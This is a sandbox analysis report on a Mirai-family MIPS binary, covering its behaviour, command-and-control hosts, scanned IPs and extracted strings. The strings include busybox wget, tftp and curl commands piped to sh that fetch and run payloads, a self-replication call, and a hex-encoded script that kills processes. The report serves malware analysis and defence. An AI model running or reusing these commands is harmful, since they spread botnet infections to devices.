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Linux Analysis Report
nabmips.elf

Overview

General Information

Sample name:	nabmips.elf
Analysis ID:	1580185
MD5:	a88da51fc082f534eb20d75a053f47c9
SHA1:	88839fdb2c3e4ad4bf6d6400b075355fde5eaca4
SHA256:	3d1ff6726436bec186077f17d19c66b3e3f1654ff287212a8cc1d00e9cdc9140
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580185
Start date and time:	2024-12-24 03:56:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmips.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/233@11/0

Runtime Messages

Command:	/tmp/nabmips.elf
PID:	6261
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmips.elf (PID: 6261, Parent: 6183, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/nabmips.elf

nabmips.elf New Fork (PID: 6263, Parent: 6261)

nabmips.elf New Fork (PID: 6265, Parent: 6263)

nabmips.elf New Fork (PID: 6267, Parent: 6263)

nabmips.elf New Fork (PID: 6269, Parent: 6263)

dash New Fork (PID: 6280, Parent: 4331)

rm (PID: 6280, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.pKqxL6XnG2 /tmp/tmp.onvTsU3QLQ /tmp/tmp.QrpVLEEBxs

dash New Fork (PID: 6281, Parent: 4331)

rm (PID: 6281, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.pKqxL6XnG2 /tmp/tmp.onvTsU3QLQ /tmp/tmp.QrpVLEEBxs

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: nabmips.elf	Virustotal: Detection: 28%			Perma Link
Source: nabmips.elf	ReversingLabs: Detection: 36%

Source: global traffic	TCP traffic: 154.216.16.244 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:54860 -> 154.216.16.244:38241
Source: global traffic	TCP traffic: 192.168.2.23:43150 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.23:37256 -> 154.216.16.250:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 146.152.62.20
Source: unknown	TCP traffic detected without corresponding DNS query: 215.45.249.106
Source: unknown	TCP traffic detected without corresponding DNS query: 87.129.202.134
Source: unknown	TCP traffic detected without corresponding DNS query: 141.107.194.196
Source: unknown	TCP traffic detected without corresponding DNS query: 11.120.228.81
Source: unknown	TCP traffic detected without corresponding DNS query: 39.138.187.53
Source: unknown	TCP traffic detected without corresponding DNS query: 3.213.156.17
Source: unknown	TCP traffic detected without corresponding DNS query: 100.226.171.232
Source: unknown	TCP traffic detected without corresponding DNS query: 37.6.73.64
Source: unknown	TCP traffic detected without corresponding DNS query: 154.72.161.85
Source: unknown	TCP traffic detected without corresponding DNS query: 90.90.201.253
Source: unknown	TCP traffic detected without corresponding DNS query: 175.120.105.3
Source: unknown	TCP traffic detected without corresponding DNS query: 196.203.244.243
Source: unknown	TCP traffic detected without corresponding DNS query: 92.140.236.102
Source: unknown	TCP traffic detected without corresponding DNS query: 13.168.175.45
Source: unknown	TCP traffic detected without corresponding DNS query: 111.31.146.192
Source: unknown	TCP traffic detected without corresponding DNS query: 109.2.34.2
Source: unknown	TCP traffic detected without corresponding DNS query: 26.249.46.13
Source: unknown	TCP traffic detected without corresponding DNS query: 16.72.75.254
Source: unknown	TCP traffic detected without corresponding DNS query: 59.117.41.149
Source: unknown	TCP traffic detected without corresponding DNS query: 146.152.62.20
Source: unknown	TCP traffic detected without corresponding DNS query: 215.45.249.106
Source: unknown	TCP traffic detected without corresponding DNS query: 87.129.202.134
Source: unknown	TCP traffic detected without corresponding DNS query: 141.107.194.196
Source: unknown	TCP traffic detected without corresponding DNS query: 11.120.228.81
Source: unknown	TCP traffic detected without corresponding DNS query: 39.138.187.53
Source: unknown	TCP traffic detected without corresponding DNS query: 3.213.156.17
Source: unknown	TCP traffic detected without corresponding DNS query: 100.226.171.232
Source: unknown	TCP traffic detected without corresponding DNS query: 37.6.73.64
Source: unknown	TCP traffic detected without corresponding DNS query: 154.72.161.85
Source: unknown	TCP traffic detected without corresponding DNS query: 90.90.201.253
Source: unknown	TCP traffic detected without corresponding DNS query: 175.120.105.3
Source: unknown	TCP traffic detected without corresponding DNS query: 196.203.244.243
Source: unknown	TCP traffic detected without corresponding DNS query: 92.140.236.102
Source: unknown	TCP traffic detected without corresponding DNS query: 13.168.175.45
Source: unknown	TCP traffic detected without corresponding DNS query: 111.31.146.192
Source: unknown	TCP traffic detected without corresponding DNS query: 109.2.34.2
Source: unknown	TCP traffic detected without corresponding DNS query: 26.249.46.13
Source: unknown	TCP traffic detected without corresponding DNS query: 16.72.75.254
Source: unknown	TCP traffic detected without corresponding DNS query: 59.117.41.149
Source: unknown	TCP traffic detected without corresponding DNS query: 146.152.62.20
Source: unknown	TCP traffic detected without corresponding DNS query: 87.129.202.134
Source: unknown	TCP traffic detected without corresponding DNS query: 215.45.249.106
Source: unknown	TCP traffic detected without corresponding DNS query: 141.107.194.196
Source: unknown	TCP traffic detected without corresponding DNS query: 11.120.228.81
Source: unknown	TCP traffic detected without corresponding DNS query: 3.213.156.17
Source: unknown	TCP traffic detected without corresponding DNS query: 39.138.187.53
Source: unknown	TCP traffic detected without corresponding DNS query: 100.226.171.232
Source: unknown	TCP traffic detected without corresponding DNS query: 37.6.73.64

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: nabmips.elf	String found in binary or memory: http:///curl.sh
Source: nabmips.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6332/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6332/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6347/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6347/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6329/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6267)	File opened: /proc/6329/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6280)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.pKqxL6XnG2 /tmp/tmp.onvTsU3QLQ /tmp/tmp.QrpVLEEBxs			Jump to behavior
Source: /usr/bin/dash (PID: 6281)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.pKqxL6XnG2 /tmp/tmp.onvTsU3QLQ /tmp/tmp.QrpVLEEBxs			Jump to behavior

Source: nabmips.elf, 6261.1.00007ffca248e000.00007ffca24af000.rw-.sdmp, nabmips.elf, 6265.1.00007ffca248e000.00007ffca24af000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/nabmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmips.elf
Source: nabmips.elf, 6261.1.00005619dc10c000.00005619dc193000.rw-.sdmp, nabmips.elf, 6265.1.00005619dc10c000.00005619dc193000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: nabmips.elf, 6261.1.00005619dc10c000.00005619dc193000.rw-.sdmp, nabmips.elf, 6265.1.00005619dc10c000.00005619dc193000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: nabmips.elf, 6261.1.00007ffca248e000.00007ffca24af000.rw-.sdmp, nabmips.elf, 6265.1.00007ffca248e000.00007ffca24af000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
nabmips.elf	28%	Virustotal		Browse
nabmips.elf	37%	ReversingLabs	Linux.Trojan.Mirai

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmips.elf	false		high
http:///curl.sh	nabmips.elf	false		high

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	209.38.192.73	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
119.214.226.67	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
185.48.27.55	unknown	Turkey	34984	TELLCOM-ASTR	false
157.180.100.245	unknown	Sweden	22192	SSHENETUS	false
166.118.121.199	unknown	Japan	131790	SANOFI-SG6RafflesQuay18-00SG	false
155.78.154.191	unknown	United States	4010	DNIC-AS-04010US	false
158.155.4.199	unknown	United States	7018	ATT-INTERNET4US	false
187.212.207.57	unknown	Mexico	8151	UninetSAdeCVMX	false
108.168.229.47	unknown	United States	36351	SOFTLAYERUS	false
52.176.156.170	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
212.21.139.122	unknown	Bulgaria	56856	ARMEECBG	false
39.185.67.25	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
120.123.174.111	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
90.90.201.253	unknown	France	3215	FranceTelecom-OrangeFR	false
105.227.250.226	unknown	South Africa	37457	Telkom-InternetZA	false
188.186.223.112	unknown	Russian Federation	42683	ERTH-OREN-ASRU	false
74.59.43.67	unknown	Canada	5769	VIDEOTRONCA	false
182.86.129.74	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
88.127.92.182	unknown	France	12322	PROXADFR	false
12.237.20.143	unknown	United States	7018	ATT-INTERNET4US	false
61.65.198.32	unknown	Taiwan; Republic of China (ROC)	18413	GBTC-TWGreatTaipeiBroadbandCompanyLtdTW	false
188.49.200.101	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
149.241.188.100	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
8.91.23.218	unknown	United States	3356	LEVEL3US	false
92.140.236.102	unknown	France	3215	FranceTelecom-OrangeFR	false
180.168.201.188	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
37.6.73.64	unknown	Greece	25472	WIND-ASGR	false
124.117.210.174	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
45.239.95.203	unknown	Argentina	266874	COOPERATIVADEELECTRICIDADYANEXOSLTDACEYALAR	false
65.220.102.105	unknown	United States	30053	DUQUESNE-CAPITAL-MANAGEMENT-LLCUS	false
186.32.79.120	unknown	El Salvador	27773	MILLICOMCABLEELSALVADORSADECVSV	false
3.213.156.17	unknown	United States	14618	AMAZON-AESUS	false
13.210.193.47	unknown	United States	16509	AMAZON-02US	false
196.203.244.243	unknown	Tunisia	5438	ATI-TN	false
154.216.16.244	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
148.145.50.58	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
13.195.71.39	unknown	United States	7018	ATT-INTERNET4US	false
146.152.62.20	unknown	United States	197938	TRAVIANGAMESDE	false
165.51.242.82	unknown	Tunisia	37492	ORANGE-TN	false
6.45.171.105	unknown	United States	3356	LEVEL3US	false
199.222.22.33	unknown	United States	701	UUNETUS	false
100.226.171.232	unknown	United States	21928	T-MOBILE-AS21928US	false
85.224.233.172	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
86.1.105.246	unknown	United Kingdom	5089	NTLGB	false
171.108.168.163	unknown	China	134419	CHINATELECOM-GUANGXI-BEIHAI-MANBeihaiCN	false
90.200.96.136	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
182.35.141.192	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
29.196.116.133	unknown	United States	7922	COMCAST-7922US	false
178.73.86.115	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
147.155.177.114	unknown	United States	2640	AMESLAB-ASUS	false
24.78.137.95	unknown	Canada	6327	SHAWCA	false
217.195.253.159	unknown	Netherlands	4589	EASYNETEasynetGlobalServicesEU	false
16.72.75.254	unknown	United States	unknown	unknown	false
214.39.186.54	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
30.177.212.116	unknown	United States	7922	COMCAST-7922US	false
183.123.30.117	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
22.50.36.146	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.168.175.45	unknown	United States	7018	ATT-INTERNET4US	false
219.163.227.140	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
133.111.32.183	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
125.150.36.204	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
14.57.207.11	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
26.249.46.13	unknown	United States	7922	COMCAST-7922US	false
149.49.119.182	unknown	Israel	18676	AVAYAUS	false
13.141.6.166	unknown	United States	7018	ATT-INTERNET4US	false
177.86.249.190	unknown	Brazil	262644	CONECTANETWORKSEIRELIBR	false
139.210.145.63	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
88.157.55.155	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
112.219.50.28	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
159.25.86.139	unknown	Germany	5517	CSLDE	false
181.47.106.17	unknown	Argentina	27747	TelecentroSAAR	false
36.209.46.228	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
132.32.200.248	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
138.13.125.160	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
196.114.177.101	unknown	Morocco	36925	ASMediMA	false
143.21.127.24	unknown	United States	264008	LANCAMANTOANISERVICOSDEINFORMATICALTDA-MEBR	false
123.16.213.56	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
71.178.145.146	unknown	United States	701	UUNETUS	false
191.232.92.142	unknown	Brazil	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
221.243.74.231	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
104.198.169.125	unknown	United States	15169	GOOGLEUS	false
213.60.92.104	unknown	Spain	12334	Galicia-SpainES	false
88.106.119.181	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
53.238.11.82	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
173.242.181.117	unknown	Canada	22652	FIBRENOIRE-INTERNETCA	false
88.48.179.240	unknown	Italy	3269	ASN-IBSNAZIT	false
219.104.17.33	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
114.91.136.15	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
71.166.53.31	unknown	United States	701	UUNETUS	false
34.233.131.247	unknown	United States	14618	AMAZON-AESUS	false
20.142.212.248	unknown	United States	8070	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
170.105.216.179	unknown	Japan	1798	OREGONUS	false
192.73.224.229	unknown	United States	13767	DATABANK-DFWUS	false
142.74.151.1	unknown	Canada	5769	VIDEOTRONCA	false
27.71.90.235	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
47.150.73.219	unknown	United States	5650	FRONTIER-FRTRUS	false
37.96.94.139	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
199.109.236.177	unknown	United States	3685	BUFFALO-ASNUS	false
122.226.150.168	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
145.43.245.107	unknown	Netherlands	34108	BREEDBANDDELFTNL	false
112.168.207.11	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
154.216.16.244	zerspc.elf	Get hash	malicious	Unknown	Browse
	zerarm.elf	Get hash	malicious	Unknown	Browse
	zerx86.elf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	splppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	arm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	jklmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nklsh4.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splx86.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	zerm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	zermpsl.elf	Get hash	malicious	Unknown	Browse	209.38.192.73

Process:	/tmp/nabmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1307837182298743
Encrypted:	false
SSDEEP:	6:URjVDF+VPj/VcDFnT/V/BHT/VDM/V+4D/VH:IjVUMpHRMfF
MD5:	2A8A2371145188A38F540470E8A13EDE
SHA1:	A07A482321986606D4A18850AC9CE0FDCA8AB515
SHA-256:	325E055935DF9137C39F73A4B0EAF10DD7786E0C9195F6BB74879B0960E690DC
SHA-512:	31D79E9B943E6F59674A223CDE5F288F1007B3D7C44D8A4F5FAF2C82A7C1C9C667572A7B3439CF0B39C371ED10B3581BD0650C5DA5FC7100639110D1DAB83267
Malicious:	false
Reputation:	low
Preview:	400000-40d000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.418465223560502
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmips.elf
File size:	55'560 bytes
MD5:	a88da51fc082f534eb20d75a053f47c9
SHA1:	88839fdb2c3e4ad4bf6d6400b075355fde5eaca4
SHA256:	3d1ff6726436bec186077f17d19c66b3e3f1654ff287212a8cc1d00e9cdc9140
SHA512:	cc17531e698f69c5d728edb7594930836f2e4bd63672532ae0886a479756b07e126207626a6d961c04c64f3c5816a2340ae789bee49040e81964bc68d4683fb0
SSDEEP:	1536:H4JcgCNI2mUNJl94GrkkmdPwvf0ffuhfffboh9efHN722T3bsRP:HZ4kl94GrRmdPfOHNC2T36
